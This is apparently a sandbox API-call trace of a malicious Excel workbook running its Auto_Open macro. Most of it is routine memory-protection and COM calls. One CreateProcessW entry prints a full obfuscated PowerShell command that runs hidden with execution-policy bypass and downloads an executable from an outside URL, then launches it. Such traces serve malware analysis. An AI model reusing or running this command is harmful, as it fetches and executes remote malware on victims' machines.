[0076.280] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ac54, dwSize=0x45) returned 1 [0076.280] VirtualProtect (in: lpAddress=0x662ac54, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.280] GetCurrentProcess () returned 0xffffffffffffffff [0076.280] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662acdc, dwSize=0x45) returned 1 [0076.280] VirtualProtect (in: lpAddress=0x662acdc, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.280] GetCurrentProcess () returned 0xffffffffffffffff [0076.280] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad59, dwSize=0x8) returned 1 [0076.280] GetCurrentProcess () returned 0xffffffffffffffff [0076.281] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad58, dwSize=0x8) returned 1 [0076.281] GetCurrentProcess () returned 0xffffffffffffffff [0076.281] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad68, dwSize=0x2) returned 1 [0076.281] GetCurrentProcess () returned 0xffffffffffffffff [0076.281] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a2bc, dwSize=0x4d) returned 1 [0076.281] VirtualProtect (in: lpAddress=0x662a2bc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.281] GetCurrentProcess () returned 0xffffffffffffffff [0076.281] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a341, dwSize=0x8) returned 1 [0076.281] GetCurrentProcess () returned 0xffffffffffffffff [0076.281] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a340, dwSize=0x8) returned 1 [0076.281] GetCurrentProcess () returned 0xffffffffffffffff [0076.281] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a350, dwSize=0x2) returned 1 [0076.281] GetCurrentProcess () returned 0xffffffffffffffff [0076.281] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a3a4, dwSize=0x4d) returned 1 [0076.281] VirtualProtect (in: lpAddress=0x662a3a4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.281] GetCurrentProcess () returned 0xffffffffffffffff [0076.281] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a429, dwSize=0x8) returned 1 [0076.281] GetCurrentProcess () returned 0xffffffffffffffff [0076.281] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a428, dwSize=0x8) returned 1 [0076.281] GetCurrentProcess () returned 0xffffffffffffffff [0076.281] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a438, dwSize=0x2) returned 1 [0076.281] GetCurrentProcess () returned 0xffffffffffffffff [0076.281] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b53c, dwSize=0x4d) returned 1 [0076.281] VirtualProtect (in: lpAddress=0x662b53c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.281] GetCurrentProcess () returned 0xffffffffffffffff [0076.281] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c1, dwSize=0x8) returned 1 [0076.281] GetCurrentProcess () returned 0xffffffffffffffff [0076.281] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c0, dwSize=0x8) returned 1 [0076.281] GetCurrentProcess () returned 0xffffffffffffffff [0076.281] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5d0, dwSize=0x2) returned 1 [0076.281] GetCurrentProcess () returned 0xffffffffffffffff [0076.281] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b624, dwSize=0x4d) returned 1 [0076.281] VirtualProtect (in: lpAddress=0x662b624, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.281] GetCurrentProcess () returned 0xffffffffffffffff [0076.281] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a9, dwSize=0x8) returned 1 [0076.281] GetCurrentProcess () returned 0xffffffffffffffff [0076.281] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a8, dwSize=0x8) returned 1 [0076.281] GetCurrentProcess () returned 0xffffffffffffffff [0076.281] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6b8, dwSize=0x2) returned 1 [0076.281] GetCurrentProcess () returned 0xffffffffffffffff [0076.281] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627dbc, dwSize=0x4d) returned 1 [0076.281] VirtualProtect (in: lpAddress=0x6627dbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.282] GetCurrentProcess () returned 0xffffffffffffffff [0076.282] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e41, dwSize=0x8) returned 1 [0076.282] GetCurrentProcess () returned 0xffffffffffffffff [0076.282] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e40, dwSize=0x8) returned 1 [0076.282] GetCurrentProcess () returned 0xffffffffffffffff [0076.282] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e50, dwSize=0x2) returned 1 [0076.282] GetCurrentProcess () returned 0xffffffffffffffff [0076.282] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627ea4, dwSize=0x4d) returned 1 [0076.282] VirtualProtect (in: lpAddress=0x6627ea4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.282] GetCurrentProcess () returned 0xffffffffffffffff [0076.282] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f29, dwSize=0x8) returned 1 [0076.282] GetCurrentProcess () returned 0xffffffffffffffff [0076.282] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f28, dwSize=0x8) returned 1 [0076.282] GetCurrentProcess () returned 0xffffffffffffffff [0076.282] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f38, dwSize=0x2) returned 1 [0076.282] GetCurrentProcess () returned 0xffffffffffffffff [0076.282] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b78c, dwSize=0x4d) returned 1 [0076.282] VirtualProtect (in: lpAddress=0x662b78c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.282] GetCurrentProcess () returned 0xffffffffffffffff [0076.282] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b811, dwSize=0x8) returned 1 [0076.282] GetCurrentProcess () returned 0xffffffffffffffff [0076.282] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b810, dwSize=0x8) returned 1 [0076.282] GetCurrentProcess () returned 0xffffffffffffffff [0076.282] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b820, dwSize=0x2) returned 1 [0076.282] GetCurrentProcess () returned 0xffffffffffffffff [0076.282] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b874, dwSize=0x4d) returned 1 [0076.282] VirtualProtect (in: lpAddress=0x662b874, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.282] IUnknown:AddRef (This=0xb824728) returned 0x3 [0076.282] IUnknown:QueryInterface (in: This=0xb824728, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.282] IUnknown:QueryInterface (in: This=0xb824728, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.282] IUnknown:Release (This=0xb824728) returned 0x2 [0076.282] IUnknown:AddRef (This=0xb824780) returned 0x6 [0076.282] IUnknown:QueryInterface (in: This=0xb824780, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.282] IUnknown:QueryInterface (in: This=0xb824780, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.282] IUnknown:Release (This=0xb824780) returned 0x5 [0076.282] IUnknown:AddRef (This=0xb824678) returned 0x2 [0076.282] IUnknown:QueryInterface (in: This=0xb824678, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.282] IUnknown:QueryInterface (in: This=0xb824678, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.282] IUnknown:Release (This=0xb824678) returned 0x1 [0076.282] IUnknown:AddRef (This=0xb934ce8) returned 0x3 [0076.282] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.282] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.282] IUnknown:Release (This=0xb934ce8) returned 0x2 [0076.282] IUnknown:AddRef (This=0xb95f138) returned 0x3 [0076.282] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.282] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.282] IUnknown:Release (This=0xb95f138) returned 0x2 [0076.282] IUnknown:AddRef (This=0xb9412f8) returned 0x3 [0076.282] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.282] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.282] IUnknown:Release (This=0xb9412f8) returned 0x2 [0076.283] IUnknown:AddRef (This=0xb941878) returned 0x5 [0076.283] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.283] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.283] IUnknown:Release (This=0xb941878) returned 0x4 [0076.283] IUnknown:AddRef (This=0xb941980) returned 0x5 [0076.283] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.283] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.283] IUnknown:Release (This=0xb941980) returned 0x4 [0076.283] IUnknown:AddRef (This=0xb941ae0) returned 0x3 [0076.283] IUnknown:QueryInterface (in: This=0xb941ae0, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.283] IUnknown:QueryInterface (in: This=0xb941ae0, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.283] IUnknown:Release (This=0xb941ae0) returned 0x2 [0076.283] IUnknown:AddRef (This=0xb941a30) returned 0x4 [0076.283] IUnknown:QueryInterface (in: This=0xb941a30, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.283] IUnknown:QueryInterface (in: This=0xb941a30, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.283] IUnknown:Release (This=0xb941a30) returned 0x3 [0076.283] VarAdd (in: pvarLeft=0xb8240d8, pvarRight=0xb8240a8, pvarResult=0xb824078 | out: pvarResult=0xb824078) returned 0x0 [0076.283] VarAdd (in: pvarLeft=0xb824078, pvarRight=0xb824120, pvarResult=0xb824048 | out: pvarResult=0xb824048) returned 0x0 [0076.283] VarAdd (in: pvarLeft=0xb823e70, pvarRight=0xb823e88, pvarResult=0xb823e58 | out: pvarResult=0xb823e58) returned 0x0 [0076.283] VarAdd (in: pvarLeft=0xb823e58, pvarRight=0xb823e10, pvarResult=0xb823e40 | out: pvarResult=0xb823e40) returned 0x0 [0076.283] VarAdd (in: pvarLeft=0xb823df8, pvarRight=0xb823e28, pvarResult=0xb823de0 | out: pvarResult=0xb823de0) returned 0x0 [0076.283] VarAdd (in: pvarLeft=0xb823de0, pvarRight=0xb823dc8, pvarResult=0xb823db0 | out: pvarResult=0xb823db0) returned 0x0 [0076.283] VarAdd (in: pvarLeft=0xb823db0, pvarRight=0xb823d98, pvarResult=0xb823d80 | out: pvarResult=0xb823d80) returned 0x0 [0076.284] SafeArrayDestroyData (psa=0x5b46120) returned 0x0 [0076.284] SafeArrayDestroyDescriptor (psa=0x5b46120) returned 0x0 [0076.284] GetLocalTime (in: lpSystemTime=0x200b58 | out: lpSystemTime=0x200b58*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x26, wMilliseconds=0x38f)) [0076.284] VarAdd (in: pvarLeft=0xb824048, pvarRight=0xb824018, pvarResult=0xb823fe8 | out: pvarResult=0xb823fe8) returned 0x0 [0076.284] VarAdd (in: pvarLeft=0xb823fe8, pvarRight=0xb8240f0, pvarResult=0xb823f78 | out: pvarResult=0xb823f78) returned 0x0 [0076.284] VarAdd (in: pvarLeft=0xb823f78, pvarRight=0xb823f60, pvarResult=0xb823f48 | out: pvarResult=0xb823f48) returned 0x0 [0076.284] VarAdd (in: pvarLeft=0xb823f48, pvarRight=0xb8240c0, pvarResult=0xb823f30 | out: pvarResult=0xb823f30) returned 0x0 [0076.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x200e90, cbMultiByte=1, lpWideCharStr=0xb732448, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0076.284] VarAdd (in: pvarLeft=0xb823f30, pvarRight=0xb823f18, pvarResult=0xb823f00 | out: pvarResult=0xb823f00) returned 0x0 [0076.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x200e90, cbMultiByte=1, lpWideCharStr=0xb735d78, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0076.284] VarAdd (in: pvarLeft=0xb823f00, pvarRight=0xb823ee8, pvarResult=0xb823ed0 | out: pvarResult=0xb823ed0) returned 0x0 [0076.284] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="cMd /c\"poweRSheLL -NoniNTeRACtivE -NoPr -exeCuTi ByPASS -WinDO hIDDen \"do{sleep 25;(.(\\\"{2}{0}{1}\\\" -f'-o','bject','new') (\\\"{1}{3}{5}{0}{2}{4}\\\" -f't','syst','.webclie','em','nt','.ne')).('d'+'ow'+'nloadfil'+'e').Invoke('https://formaversa.co/trq','%localappdata%.exe')}while(!$?);&(\\\"{0}{2}{1}\\\"-f'star','ss','t-proce') '%localappdata%.exe'\"\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x200f90*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x200f70 | out: lpCommandLine="cMd /c\"poweRSheLL -NoniNTeRACtivE -NoPr -exeCuTi ByPASS -WinDO hIDDen \"do{sleep 25;(.(\\\"{2}{0}{1}\\\" -f'-o','bject','new') (\\\"{1}{3}{5}{0}{2}{4}\\\" -f't','syst','.webclie','em','nt','.ne')).('d'+'ow'+'nloadfil'+'e').Invoke('https://formaversa.co/trq','%localappdata%.exe')}while(!$?);&(\\\"{0}{2}{1}\\\"-f'star','ss','t-proce') '%localappdata%.exe'\"\"", lpProcessInformation=0x200f70*(hProcess=0x61c, hThread=0x1e8, dwProcessId=0xb80, dwThreadId=0xb84)) returned 1 [0076.532] GetLastError () returned 0x0 [0076.532] WaitForInputIdle (hProcess=0x61c, dwMilliseconds=0x2710) returned 0xffffffff [0076.532] CloseHandle (hObject=0x1e8) returned 1 [0076.532] CloseHandle (hObject=0x61c) returned 1 [0076.559] IMalloc:Free (This=0x7fefe465380, pv=0xb8f7d70) [0076.560] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0076.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb737068, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0076.560] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0076.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb737068, cbMultiByte=11, lpWideCharStr=0xb732448, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0076.561] strncpy_s (in: _Dst=0x66df630, _DstSize=0x18, _Src="[VBAProject].Auto_Open", _MaxCount=0x16 | out: _Dst="[VBAProject].Auto_Open") returned 0x0 [0076.562] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0076.562] IMalloc:Alloc (This=0x7fefe465380, cb=0x10) returned 0x66e0fd0 [0076.562] qsort (in: _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28 | out: _Base=0x66e0fd0) [0076.562] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Sheet1", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 1 [0076.562] bsearch (_Key=0x200bd8, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x0 [0076.562] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0076.562] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 3 [0076.562] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 2 [0076.562] bsearch (_Key=0x200bd8, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x0 [0076.562] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Open", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0076.562] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Open", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0077.731] GetCapture () returned 0x0 [0077.731] GetCursorPos (in: lpPoint=0x20f340 | out: lpPoint=0x20f340*(x=573, y=559)) returned 1 [0077.731] WindowFromPoint (Point=0x22f0000023c) returned 0x202be [0077.731] GetWindowThreadProcessId (in: hWnd=0x202be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0077.731] SendMessageA (hWnd=0x202be, Msg=0x84, wParam=0x0, lParam=0x22f023c) returned 0x1 [0077.731] SendMessageA (hWnd=0x202be, Msg=0x20, wParam=0x202be, lParam=0x2000001) returned 0x0 [0090.633] ITypeInfo2:GetCustData (in: This=0xb824830, GUID=0x7fee5f92690*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x20e998 | out: pVarVal=0x20e998*(varType=0x0, wReserved1=0x20, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0090.633] IUnknown:Release (This=0xb824830) returned 0x2 [0090.633] ITypeInfo:RemoteGetDocumentation (in: This=0xb824830, memid=-1, refPtrFlags=0x20e990, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x20e9b0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x20e9b0*="") returned 0x0 [0090.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Worksheet", cchWideChar=10, lpMultiByteStr=0x20e8a0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Worksheet", lpUsedDefaultChar=0x0) returned 10 [0090.633] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet") returned 0x10fec1 [0090.633] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.633] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x1, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.633] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.633] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x2, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.633] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.633] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x3, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.633] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.633] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x4, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.634] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.634] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x5, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.634] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.634] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x6, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.634] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.634] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x7, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.634] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.634] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x8, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.635] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.635] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0x9, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.635] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.635] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0xa, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.635] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.635] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0xb, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.635] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.635] ITypeInfo:RemoteGetFuncDesc (in: This=0xb8248e0, index=0xc, ppFuncDesc=0x20e968, pDummy=0xf0 | out: ppFuncDesc=0x20e968, pDummy=0xf0) returned 0x0 [0090.635] ITypeInfo:LocalReleaseFuncDesc (This=0xb8248e0) returned 0x0 [0090.635] 